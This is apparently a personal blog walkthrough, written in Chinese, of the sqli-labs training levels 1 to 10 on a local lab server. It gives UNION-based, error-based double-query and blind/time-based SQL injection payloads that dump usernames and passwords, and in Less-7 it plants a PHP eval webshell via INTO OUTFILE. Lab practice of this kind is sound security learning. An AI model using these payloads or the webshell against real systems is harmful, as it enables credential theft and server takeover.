Sqli-labs

Less-1

先用or 1=1,只显示一条结果,应该有limit语句……

1
?id=1' order by 3--+

判断列数以便使用联合查询,发现有三列。

1
?id=' union select 1,database(),3--+

image-20210125092719056

正常回显,当前库是security。

查表:

1
?id=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+

image-20210125094000614

查字段:

1
?id=' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+

image-20210125094309642

可以查询用户名与密码:

1
?id=' union select 1,(select group_concat(username,"-",password) from security.users),3--+

image-20210125094559177

Less-1结束……

Less-2

?id=1 and 1=2 无回显,数值型注入……

order by 3 即有三列。

用的好像还是security库……

1
?id=0 union select 1,(select group_concat(username,"-",password) from security.users),3--+

image-20210125100314265

em,和Less-1差不多……

Less-3

?id=1’回显有点奇怪……

image-20210125100534807

那一部分应该是:**’1”) LIMIT 0,1**,应该是id=(‘$id’)

?id=1’)–+ 回显正常

?id=1’) order by 3–+ 有3列

1
?id=') union select 1,(select group_concat(username,"-",password) from security.users),3--+

image-20210125101316132

OK

Less-4

?id=1’’’’’’’’’’’’’’’’’’–+123156hbhj–+

没有任何的报错……应该是都被认为是字符了

?id=1” 报错:

image-20210125102444211

这里大概是:id=(“$id”)

?id=1”)–+ 回显正常

1
?id=") union select 1,(select group_concat(username,"-",password) from security.users),3--+

这样就可以了……

Less-5

image-20210125102858654

emm……不太懂,查一波。

这波大概是盲注,盲注也有很多种……

image-20210125103101029

image-20210126103939343

?id=1’ and left(database(),1)=’s’–+ //一位一位判断库名

?id=1’ and if(length(database())=8,sleep(1),1)–+ //利用时间延迟判断猜测是否正确3

结合burpsuit可以更方便一些……

还有更强的方法:双查询联合注入

详细讲解双查询注入csdn

双查询注入(大佬)

sql注入之双查询注入(简书)

这些文章都尽可能的解释了这个方法……

group by 的说明

image-20210126114614150

理解一波,不知道对不对……

group by 读取时,查找字段名中是否有key,没有则插入。但是每次读取判断时,floor(random(0)*2)是随机的0或1……所以概率出现重复插入的情况,此时会发生报错,报错内容回显出database()的内容。

eg:*?id=’ union select count(*),count(*),concat(‘‘,(select database()),’‘,floor(rand()*2)) as a from information_schema.tables group by a–+*

那这个count(*)又有什么作用……

本以为是像select 1,2,3一样占行数的……但改成1和2又会不起效果……

必须有一个count(*)才行……

这个看着差不多,结合自己理解一波:

image-20210126170317765

image-20210126170944295

先以语句结果去寻找,找不到,插入语句重新计算得到的结果。这样的话,表至少有两列,这个方法才能成功(至少遍历两次才能产生冲突)。若第二次找不到,则插入新结果,此时还要计算对应的count,遍历数据。

SQL有三个类型的索引,唯一索引 不能有重复,但聚集索引,非聚集索引可以有重复

主键key默认是唯一索引。count的再次遍历发现了主键索引的冲突,报错。大概是这样?……

还有,再查当前库时,可以用:**?id=-1’ union select n from n–+**

image-20210126172631743

直接得到security……不过好像只能干这个……

1
?id=' union select 1,count(\*),concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

查当前库

1
?id=-1' union select count(\*),1, **concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit x,1)**,'~',floor(rand()*2)) as a from information_schema.tables group by a--+

修改x可以查各个表名

?id=-1’ union select count(*),1, concat(‘~‘,(select column_name from information_schema.columns where table_name=’users’ limit x,1),’~’,floor(rand()*2)) as a from information_schema.tables group by a–+

修改x可以查各个列名

1
?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit x,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

修改x可以查各个字段

百分百成功(大概):rand()里面的seed调为小于等于0,对于指定的seed,rand的值相同。但是是什么,为什么我都不知道……我也是试出来的,也查不清楚……

回来再试试~~

Less-6

?id=1” 报错

image-20210126181005116

?id=1”–+成功

1
?id=-1" union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit x,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

查表

差不多……

Less-7

image-20210126181512238

outfile又不懂辽……

?id=1’–+ 只提示有错误……没有错误的回显了。查资料辽。

?id=1‘)) and (select count(*) from mysql.user)>0 –+

判断有没有文件写入权限,不过只显示有错误,不知道是不是语法错误……

?id=1’)) and if((select count(*) from mysql.user)>0,1,1) –+ 进入,应该是没有写入/写出权限

关于file权限:

1
2
3
4
1 必须有权限读取并且文件必须完全可读 
2 目的文件必须在服务器上
3 必须指定文件完整的路径
4 欲读取文件必须小于 max_allowed_packet

由于phpstudy的设置,所以在网站上操作没有权限,好像是secure_file_priv需要设置一下……

更改之后:?id=1’)) and if((select count(*) from mysql.user)>0,1,0) –+ 成功进入

导出文件:?id=1’)) union select 1,database(),user() into outfile “D:\pp.txt”–+ 报错但文件成功导出。

image-20210126224148354

*?id=’)) union select * from users into outfile “D:\apap.txt”–+*

image-20210126230104531

OK。

导入文件:

?id=1’)) union select 1,2,’<?php @eval($_POST[“b”])?>‘ into outfile “D:\phpstudy_pro\WWW\sqli-labs-master\Less-7\b.php”–+

反斜杠“\”是Windows系统文件目录结构使用的分隔符,如:D:\我的文档。只有 windows 支持反斜杠路径符 \ ,而unix支持 /

但是我们还应该知道 \ 也是转义字符,在url中他会当成转义字符处理,所以我们用 \ 对反斜杠进行转义,那么结果就变成了一个反斜杠

image-20210126225640997

成功连接。

Less-8

这次彻底没有任何错误回显了……

只能一位一位注…同Less-5的第一种方法:

?id=1’ and left(database(),1)=’s’–+ //一位一位判断库名

?id=1’ and if(length(database())=8,sleep(1),1)–+ //利用时间延迟判断猜测是否正确

结合burpsuit可以更方便一些……不用bp也可以用二分法。

image-20210126103939343

?id=1’ and if(left((select table_name from information_schema.tables where table_schema=database() limit x,1),1)=’r’ , sleep(1), 1) –+ //查表

?id=1’ and if(left((select column_name from information_schema.columns where table_name=’users’ limit x,1),1)=’a’, sleep(1), 1) –+ //查列

?id=1’ and if(left((select password from users limit 0,1),4)=’dumb’ , sleep(1), 1) –+ //查数据

Less-9

image-20210126232436182

em,和Less-8是一样的。

Less-10

不论怎么打,都是“You are in”……

源代码:

image-20210126233825832

$id的值左右拼接了“ ”;这样处理的话只能用and去判断

所以用双引号就行了……其他和Less-8是一样的。

1-10:OK

作者

inanb

发布于

2021-01-25

更新于

2021-08-23

许可协议


:D 一言句子获取中...